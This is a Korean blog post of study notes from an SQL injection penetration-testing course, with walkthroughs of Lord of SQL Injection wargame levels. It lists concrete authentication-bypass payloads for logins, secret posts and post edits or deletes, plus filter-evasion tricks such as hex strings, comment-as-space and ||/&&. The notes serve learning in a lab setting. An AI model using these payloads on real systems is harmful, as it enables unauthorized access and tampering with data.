모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
강의주소 : https://www.inflearn.com/course/sql-injection-secure-coding-1/dashboard
인증 우회 공격이란?
정상적인 아이디가 아닌 sql 구문 삽입을 통해 인증을 우회하는 것 (ex 로그인 기능 우회)
공격 전 확인
1. 에러확인, 싱글쿼터 ' 입력
=> Fatal error: Call to a member function fetch_assoc() on a non-object in C:\APM_Setup\htdocs\login\loginAction.php on line 22 에러 발생
( * 절대 경로 노출시 파일 업로드 취약점의 단서가 됨 )
2. 취약점 확인. adm'a'in, adm' 'in 공백 삽입 연결연산자
=> 전자는 구문에러, 후자는 인증이 맞지 않는다는 안내가 뜸. mysql 확인
1) admin' or '1'='1
2) admin' --
* mysql의 주석 --는 앞뒤로 공백이 존재해야한다. #을 이용할 수도 있음
3) ' or 1=1 or '1'='1
4) ' or '1'='1' --
아이디를 모를 때 특정 id로 로그인 되는 이유
: 모든레코드 값을 가져오는데, 그 중 첫 번째 레코드 정보로 로그인하기 때문
인증우회로 비밀글 조회하기
1. 파라미터 변조시 접근 불가
* 파라미터 변조가 먹히지 않은 이유는 실습코드의 경우 비밀번호 미입력시 secret 플래그가 N이어서 비밀글 게시글이 아니라고 판단하기 때문
이를 파훼하려면 변조 후 -- 등 주석으로 처리해보는 등 시도할 수 있다
2. injection 이용
1) 먼저 싱글쿼터' 를 넣어서 에러가 나는지 보고 인젝션 가능여부를 확인
2) ' or '1'='1 넣어서 inline injection 시도 : 원하던 게시물이 아니라 첫번째 게시물이 조회됨
3) 하지만 조회가 됨으로써 별도의 플래그값 없이 조회가 가능하다는 정보를 얻었음
4) 두번째 시도 : %' and '1'='1 실패. like처럼 %를 넣으면 되지 않을까 했는데, 생각해보니까 LIKE 구문을 쓰려면 싱글쿼터로 감싸여있으면 안 됨
5) 강의를 듣고 시도한 정답
Inline 방식 : ' or idx=5 and '1'='1
Terminating 방식 : ' or idx='5' --
where idx=5 and password='' or idx='5'
=> idx=5와 password=''는 and로 묶여서 결국 거짓이 됨.
=> or 뒤의 idx='5'는 idx가 5인 게시글이 있으므로 참이 됨
=> or구문은 한쪽만 참이어도 참이되므로, 참인 idx='5'에 의해 조회됨
인증우회를 통한 게시글 수정, 삭제
1. 인증로직 추측
1) update 구문의 where절
=> ' or idx='6 사용하여 수정. 비밀글 조회와 같은 방식.
2) update 구문 실행 전 password 검증
password 검증하여 게시글이 1개 나오면 검증된것으로 판단하고 조회하는 방식일 경우,
' or 1=1 -- 이렇게 Terminating 방식 사용할 수 있다
*update, delete 구문은 조건을 잘못 맞추면 모든 레코드에 영향을 줄 수 있으므로 OR 연산자 사용에 주의할것
Load of SQL Injection
주소 : los.rubiya.kr
회원가입 후 이용가능
초반부 문제의
gremlin
cobolt
goblin
wolfman
darkelf
인증 우회 관련 문제라고 함
1. gremlin
어떻게 푸느냐? 주소창에 ?id= 이런식으로 파라미터를 넣는거였다
처음엔 아이디가 그 다음 문제인 cobolt인줄 알고 id를 셋팅해서 넣었는데 그게 아니더라...
정답은 query : select id from prob_gremlin where id='' or 1=1#' and pw='' 인데
중요한 점은 #을 그대로 입력하지 말고 퍼센트인코딩하여 %23 으로 입력해야 제대로 인식한다.
inline 방식 : query : select id from prob_gremlin where id='' or 1=1 or '1'='' and pw=''
2. cobolt
query : select id from prob_cobolt where id='admin' #' and pw=md5('')
3. goblin
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
해당문제에서는 싱글쿼터' 를 입력할 수 없게 되어있다
싱글쿼터를 입력하지 않고 admin을 입력하는 방법
=> hexcode 이용
mysql에서 조회하면 간단히 얻을 수 있다
단 앞이 생략되었으므로 0x를 앞에 붙여준다
query : select id from prob_goblin where id='guest' and no=2 or id=0x61646D696E
no가 왜 1이 아니냐면 db상의 1번째 데이터가 guest인 모양이다. 그래서 참이 되어서 1외의 다른것을 아무거나 입력하면 된다
4. orc
?pw=' or '1'='1'%23
=> 로그인 인증 우회는 되지만, 실제 db의 pw값과 맞는지 검증할 때 통과하지 못함
?pw=(select pw from prob_orc where id='admin')
=> prob 키워드 입력 불가로 필터링된 상태. 0x70726F625F6F7263로 변경해도 먹통.
이 부분은 혼자 시도해보다가 안돼서 일단 중단함. 데이터조회 부분은 배우지 않았다... ㅠㅠ
5. wolfman
공백을 필터링 하고 있어서 사용불가
?pw='or/**/id='admin
멀티라인주석문자로 공백을 대체할 수 있다.
개행문자도 된다고 함
6. darkelf
or과 and를 필터링 하고 있어서 사용불가
mysql의 경우
or연산자 => ||
and연산자 => &&
oracle과 mssql은 딱히 방법이 없나보다
sql injection공격은 대외서비스 기준으로 대비가 잘 되어 있곤 하지만,
대내서비스의 경우 비교적 허술한 경우가 있다
인증우회공격은 가장 기본중의 기본이므로 다른 공격기법의 기초가 된다
'정보보안 > 모의해킹' 카테고리의 다른 글
모의해킹 강의(SQL Injection Part1) 7 - 메타데이터 (주기적으로 복습) (0) | 2024.10.22 |
---|---|
모의해킹 강의(SQL Injection Part1) 6 (0) | 2024.10.21 |
모의해킹 강의(SQL Injection Part1) 4 (0) | 2024.10.16 |
모의해킹 강의(SQL Injection Part1) 3 (0) | 2024.10.15 |
모의해킹 강의(SQL Injection Part1) 2 (0) | 2024.10.14 |